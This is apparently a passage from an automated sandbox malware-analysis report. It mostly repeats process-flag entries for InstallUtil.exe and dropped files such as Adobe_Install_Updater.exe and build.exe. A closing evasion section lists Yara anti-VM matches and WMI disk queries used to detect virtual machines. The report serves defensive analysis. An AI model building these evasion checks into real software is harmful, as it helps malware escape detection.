Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: 6RE1Z857ae.exe PID: 6984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Adobe_Install_Updater.exe PID: 1576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 1632, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Adobe_Install_Updater.exe PID: 2848, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Plain_Checker.exe PID: 3224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 4832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Yftssfzf.exe PID: 7856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Yftssfzf.exe PID: 8060, type: MEMORYSTR

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

